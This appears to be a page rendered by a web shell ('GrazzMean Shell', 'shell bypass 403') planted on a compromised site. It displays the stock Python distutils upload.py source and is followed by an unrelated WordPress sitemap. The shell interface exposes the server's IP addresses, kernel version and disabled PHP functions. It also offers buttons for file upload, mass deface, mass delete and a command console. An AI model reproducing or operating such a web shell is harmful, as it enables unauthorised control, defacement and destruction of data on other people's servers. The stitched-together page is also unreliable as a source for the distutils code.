
<!DOCTYPE HTML>
<html>
	<head>
		<meta name='author' content='GrazzMean'>
		<meta name='robots' content='noindex,nofollow'>
		<title>ai.shandianfk.com - GrazzMean</title>
		<meta name='viewport' content='width=device-width, initial-scale=0.70'>
		<link rel='stylesheet' href='//meki.google.co.ws/style.css'>
		<script src='//cdnjs.cloudflare.com/ajax/libs/prism/1.6.0/prism.js'></script>
		<script src='//cdn.jsdelivr.net/npm/bootstrap@5.0.1/dist/js/bootstrap.bundle.min.js'></script>
		<script src='//code.jquery.com/jquery-3.3.1.slim.min.js'></script>
	</head>
<body class='bg-secondary text-light'>
<div class='container-fluid'>
	<div class='py-3' id='main'>
		<div class='box shadow bg-dark p-4 rounded-3'>
			<div class='corner text-secondary anu'>shell bypass 403</div>
				<a class='text-decoration-none text-light anu' href='/index.php'><h4>GrazzMean Shell</h4></a><div class="table-responsive"><i class="bi bi-hdd-rack"></i> : <a class="text-decoration-none text-light" href="?path=/">/</a><a class="text-decoration-none" href="?path=//usr">usr</a>/<a class="text-decoration-none" href="?path=//usr/lib64">lib64</a>/<a class="text-decoration-none" href="?path=//usr/lib64/python2.7">python2.7</a>/<a class="text-decoration-none" href="?path=//usr/lib64/python2.7/distutils">distutils</a>/<a class="text-decoration-none" href="?path=//usr/lib64/python2.7/distutils/command">command</a>/ [ <rd class='anu'>drwxr-xr-x</rd> ]</div>
		</div>
	</div>
</div>
<div class='container-fluid'>
	<div class='box shadow bg-dark p-4 rounded-3'>
		<div class='corner anu'>
			<b data-bs-toggle='collapse' data-bs-target='#collapseExample' aria-expanded='false' aria-controls='collapseExample'><i class='bi bi-info-circle'></i> info server <i class='bi bi-chevron-down'></i></b>
		</div>
	<div class='collapse text-dark mb-3' id='collapseExample'>
		<div class='box shadow bg-light p-4 rounded-3'>
			Uname: <gr>Linux yisu-647059427c03a 3.10.0-862.14.4.el7.x86_64 #1 SMP Wed Sep 26 15:12:11 UTC 2018 x86_64</gr><br />
			Software: <gr>nginx/1.22.1</gr><br />
			PHP version: <gr>7.3.31</gr> <a class='text-decoration-none' href='?phpinfo&path=//usr/lib64/python2.7/distutils/command'>[ PHP INFO ]</a> PHP os: <gr>Linux</gr><br />
			Server Ip: <gr>103.146.158.90</gr><br />
			Your Ip: <gr>216.73.216.122</gr><br />
			User: <gr>www</gr> (1000) | Group: <gr>www</gr> (1000)<br />
			Safe Mode: <gr>OFF</gr><br />
			Disable Function:<div class='table-responsive'><rd>passthru,exec,system,putenv,chroot,chgrp,chown,shell_exec,popen,proc_open,pcntl_exec,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,imap_open,apache_setenv</rd></div>
		</div>
	</div>
<div class='text-center'>
	<div class='btn-group'>
		<a class='btn btn-outline-light btn-sm' href='?upload&path=//usr/lib64/python2.7/distutils/command'><i class='bi bi-upload'></i> upload</a>
		<a class='btn btn-outline-light btn-sm' href='?mass_deface&path=//usr/lib64/python2.7/distutils/command'><i class='bi bi-exclamation-diamond'></i> mass deface</a>
		<a class='btn btn-outline-light btn-sm' href='?mass_delete&path=//usr/lib64/python2.7/distutils/command'><i class='bi bi-trash'></i> mass delete</a>
		<a class='btn btn-outline-light btn-sm' href='?cmd&path=//usr/lib64/python2.7/distutils/command'><i class='bi bi-terminal'></i> console</a>
	</div>
</div><br><b>name : </b>upload.py
<div class="container-fluid language-javascript">
	<div class="shell mb-3">
		<pre style="font-size:12px;"><code>&quot;&quot;&quot;distutils.command.upload

Implements the Distutils 'upload' subcommand (upload package to PyPI).&quot;&quot;&quot;
import os
import socket
import platform
from urllib2 import urlopen, Request, HTTPError
from base64 import standard_b64encode
import urlparse
import cStringIO as StringIO
from hashlib import md5

from distutils.errors import DistutilsOptionError
from distutils.core import PyPIRCCommand
from distutils.spawn import spawn
from distutils import log

class upload(PyPIRCCommand):

    description = &quot;upload binary package to PyPI&quot;

    user_options = PyPIRCCommand.user_options + [
        ('sign', 's',
         'sign files to upload using gpg'),
        ('identity=', 'i', 'GPG identity used to sign files'),
        ]

    boolean_options = PyPIRCCommand.boolean_options + ['sign']

    def initialize_options(self):
        PyPIRCCommand.initialize_options(self)
        self.username = ''
        self.password = ''
        self.show_response = 0
        self.sign = False
        self.identity = None

    def finalize_options(self):
        PyPIRCCommand.finalize_options(self)
        if self.identity and not self.sign:
            raise DistutilsOptionError(
                &quot;Must use --sign for --identity to have meaning&quot;
            )
        config = self._read_pypirc()
        if config != {}:
            self.username = config['username']
            self.password = config['password']
            self.repository = config['repository']
            self.realm = config['realm']

        # getting the password from the distribution
        # if previously set by the register command
        if not self.password and self.distribution.password:
            self.password = self.distribution.password

    def run(self):
        if not self.distribution.dist_files:
            raise DistutilsOptionError(&quot;No dist file created in earlier command&quot;)
        for command, pyversion, filename in self.distribution.dist_files:
            self.upload_file(command, pyversion, filename)

    def upload_file(self, command, pyversion, filename):
        # Makes sure the repository URL is compliant
        schema, netloc, url, params, query, fragments = \
            urlparse.urlparse(self.repository)
        if params or query or fragments:
            raise AssertionError(&quot;Incompatible url %s&quot; % self.repository)

        if schema not in ('http', 'https'):
            raise AssertionError(&quot;unsupported schema &quot; + schema)

        # Sign if requested
        if self.sign:
            gpg_args = [&quot;gpg&quot;, &quot;--detach-sign&quot;, &quot;-a&quot;, filename]
            if self.identity:
                gpg_args[2:2] = [&quot;--local-user&quot;, self.identity]
            spawn(gpg_args,
                  dry_run=self.dry_run)

        # Fill in the data - send all the meta-data in case we need to
        # register a new release
        f = open(filename,'rb')
        try:
            content = f.read()
        finally:
            f.close()
        meta = self.distribution.metadata
        data = {
            # action
            ':action': 'file_upload',
            'protcol_version': '1',

            # identify release
            'name': meta.get_name(),
            'version': meta.get_version(),

            # file content
            'content': (os.path.basename(filename),content),
            'filetype': command,
            'pyversion': pyversion,
            'md5_digest': md5(content).hexdigest(),

            # additional meta-data
            'metadata_version' : '1.0',
            'summary': meta.get_description(),
            'home_page': meta.get_url(),
            'author': meta.get_contact(),
            'author_email': meta.get_contact_email(),
            'license': meta.get_licence(),
            'description': meta.get_long_description(),
            'keywords': meta.get_keywords(),
            'platform': meta.get_platforms(),
            'classifiers': meta.get_classifiers(),
            'download_url': meta.get_download_url(),
            # PEP 314
            'provides': meta.get_provides(),
            'requires': meta.get_requires(),
            'obsoletes': meta.get_obsoletes(),
            }
        comment = ''
        if command == 'bdist_rpm':
            dist, version, id = platform.dist()
            if dist:
                comment = 'built for %s %s' % (dist, version)
        elif command == 'bdist_dumb':
            comment = 'built for %s' % platform.platform(terse=1)
        data['comment'] = comment

        if self.sign:
            data['gpg_signature'] = (os.path.basename(filename) + &quot;.asc&quot;,
                                     open(filename+&quot;.asc&quot;).read())

        # set up the authentication
        auth = &quot;Basic &quot; + standard_b64encode(self.username + &quot;:&quot; +
                                             self.password)

        # Build up the MIME payload for the POST data
        boundary = '--------------GHSKFJDLGDS7543FJKLFHRE75642756743254'
        sep_boundary = '\n--' + boundary
        end_boundary = sep_boundary + '--'
        body = StringIO.StringIO()
        for key, value in data.items():
            # handle multiple entries for the same name
            if not isinstance(value, list):
                value = [value]
            for value in value:
                if isinstance(value, tuple):
                    fn = ';filename=&quot;%s&quot;' % value[0]
                    value = value[1]
                else:
                    fn = &quot;&quot;

                body.write(sep_boundary)
                body.write('\nContent-Disposition: form-data; name=&quot;%s&quot;'%key)
                body.write(fn)
                body.write(&quot;\n\n&quot;)
                body.write(value)
                if value and value[-1] == '\r':
                    body.write('\n')  # write an extra newline (lurve Macs)
        body.write(end_boundary)
        body.write(&quot;\n&quot;)
        body = body.getvalue()

        self.announce(&quot;Submitting %s to %s&quot; % (filename, self.repository), log.INFO)

        # build the Request
        headers = {'Content-type':
                        'multipart/form-data; boundary=%s' % boundary,
                   'Content-length': str(len(body)),
                   'Authorization': auth}

        request = Request(self.repository, data=body,
                          headers=headers)
        # send the data
        try:
            result = urlopen(request)
            status = result.getcode()
            reason = result.msg
            if self.show_response:
                msg = '\n'.join(('-' * 75, r.read(), '-' * 75))
                self.announce(msg, log.INFO)
        except socket.error, e:
            self.announce(str(e), log.ERROR)
            return
        except HTTPError, e:
            status = e.code
            reason = e.msg

        if status == 200:
            self.announce('Server response (%s): %s' % (status, reason),
                          log.INFO)
        else:
            self.announce('Upload failed (%s): %s' % (status, reason),
                          log.ERROR)
</code></pre>
	</div>
</div></tbody>
</table>
<div class='text-secondary'>&copy;  2026 GrazzMean</div>
</div>
</div>
</body>
</html>
<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xsl" href="https://ai.shandianfk.com/wp-sitemap-index.xsl" ?>
<sitemapindex xmlns="http://www.sitemaps.org/schemas/sitemap/0.9"><sitemap><loc>https://ai.shandianfk.com/wp-sitemap-posts-post-1.xml</loc></sitemap><sitemap><loc>https://ai.shandianfk.com/wp-sitemap-posts-page-1.xml</loc></sitemap><sitemap><loc>https://ai.shandianfk.com/wp-sitemap-taxonomies-category-1.xml</loc></sitemap><sitemap><loc>https://ai.shandianfk.com/wp-sitemap-taxonomies-post_tag-1.xml</loc></sitemap><sitemap><loc>https://ai.shandianfk.com/wp-sitemap-users-1.xml</loc></sitemap></sitemapindex>
